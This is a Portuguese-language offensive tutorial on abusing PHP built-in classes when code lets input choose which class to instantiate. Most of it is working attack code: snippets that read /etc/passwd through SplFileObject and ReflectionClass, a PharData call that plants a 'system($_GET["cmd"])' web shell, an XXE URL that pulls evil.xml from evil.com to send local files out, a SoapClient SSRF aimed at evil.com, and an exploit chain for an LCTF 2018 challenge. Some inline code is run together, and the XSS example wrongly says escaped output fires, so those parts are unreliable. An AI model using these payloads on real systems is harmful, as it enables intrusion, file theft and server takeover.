Classes nativas do PHP são classes internas da linguagem, como DirectoryIterator, Error, SimpleXMLElement, SoapClient, etc. Elas podem ser abusadas em ataques quando o código permite instanciar classes arbitrárias (ex: via unserialize, call_user_func ou parâmetros de entrada).
- Quando usar classes nativas
- Quando há deserialização insegura de objetos.
- Quando funções como
call_user_funcounewaceitam nomes de classes vindos de entrada. - Para contornar restrições como
open_basedirou executar ações não previstas.
- Classes para leitura de diretórios/arquivos
DirectoryIterator
Itera sobre um diretório. Exemplo de uso malicioso:
$dir = new DirectoryIterator('/etc');
foreach ($dir as $item) {
echo $item->getFilename() . "\n";
}
FilesystemIterator
Similar ao enterior, mas sem os atalhos . e ...
GlobIterator
Busca arquivos usando padrões glob:
$glob = new GlobIterator('/var/www/*.php');
foreach ($glob as $arq) {
echo $arq->getPathname();
}
Como contornar open_basedir
Algumas classes nativas, como DirectoryIterator, podem acessar diretórios mesmo com open_basedir ativo, dependendo da configuração.
Leitura de arquivos com SplFileObject
Permite ler um arquivo linha a linha:
$file = new SplFileObject('/etc/passwd');
while (!$file->eof()) {
echo $file->fgets();
}
Se não for possível usar classes, pode-se usar wrappers de stream (php://filter, expect://) via enclusão de arquivos.
- Classes para gerar erros e XSS
Classe Error
Pode ser utilizada para gerar exceções que vazam informações. Exemplo:
$e = new Error('Mensagem de erro', 0);
echo $e->getMessage();
Em contextos de XSS, pode-se injetar código JS no erro:
$e = new Error('<img src=x onerror=alert(1)>');
echo htmlspecialchars($e->getMessage()); // Se não houver sanitização, dispara XSS
Bypass de comparação de hash
Se um código compara hash usando == (comparação frouxa), e a classe Error serializada retorna um hash que começa com "0e" seguido de dígitos, pode haver igualdade com outro hash que também começa com "0e". Exemplo:
$hash = '0e12345';
$user_hash = '0e99999';
if ($hash == $user_hash) { // true, pois ambos são interpretados como 0 em notação científica
echo 'Autenticado';
}
- Classes de reflexão
A classe ReflectionClass permite inspecionar e instanciar outras classes arbitrariamente.
$ref = new ReflectionClass('SplFileObject');
if ($ref->isInstantiable()) {
$obj = $ref->newInstance('/etc/passwd');
echo $obj->fgets();
}
Útil quando a entrada é um nome de classe para refletir métodos e propriedades.
- Classe para compressão e exclusão
A classe PharData ou ZipArchive pode ser usada para criar/deletar arquivos. Exemplo com Phar:
$phar = new PharData('malicious.zip');
$phar->addFromString('shell.php', '<?php system($_GET["cmd"]);');
Após criar, pode-se descompactar ou excluir arquivos do sistema.
- SimpleXMLElement e XXE
Essa classe, quando instanciada com dados XML de fonte externa e opção LIBXML_NOENT, permite XXE (External Entity Injection).
Exemplo de URL maliciosa:
index.php?module=SimpleXMLElement&args[]=http://evil.com/evil.xml&args[]=2&args[]=true
args[0]: URL do XML maliciosoargs[1]:2=LIBXML_NOENT(substitui entidades)args[2]:trueindica que o primeiro argumento é URL
O XML remoto evil.xml carrega um DTD que faz a leitura de arquivos locais (ex: /etc/passwd) e envia o conteúdo via HTTP para o atacante.
- SoapClient e SSRF
A classe SoapClient pode ser usada para realizar requisições SSRF. Quando um método é chamado (inclusive via __call mágico), ela envia uma requisição SOAP.
Exemplo de abuso em cenário de call_user_func:
$client = new SoapClient(null, [
'uri' => 'http://internal-server/',
'location' => 'http://evil.com/ssrf'
]);
$client->someMethod(); // Envia request para evil.com com dados arbitrários
Para contornar sanitização de cabeçalhos, pode-se quebrar a linha com \r\n e inserir um corpo POST falso.
Exemplo prático com sessão e call_user_func
Suponha o código:
$b = 'implode';
call_user_func($_GET['f'], $_POST);
if(isset($_GET['name'])){
$_SESSION['name'] = $_GET['name'];
}
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
Passos para explorar:
- Enviar
?f=extractcom POSTb=call_user_funcpara sobrescrever$b. - Enviar outro POST com
session_starte argumentoserialize_handler=php_serializepara usar serialização PHP pura. - Inserir na sessão um
SoapClientserializado, configurado para fazer requisição a um servidor interno. - Quando
call_user_func($b, $a)executar,reset($_SESSION)retornará o objetoSoapClient, e a chamada ao métodowelcome_to_the_lctf2018(inexistente) dispara__call, realizando SSRF.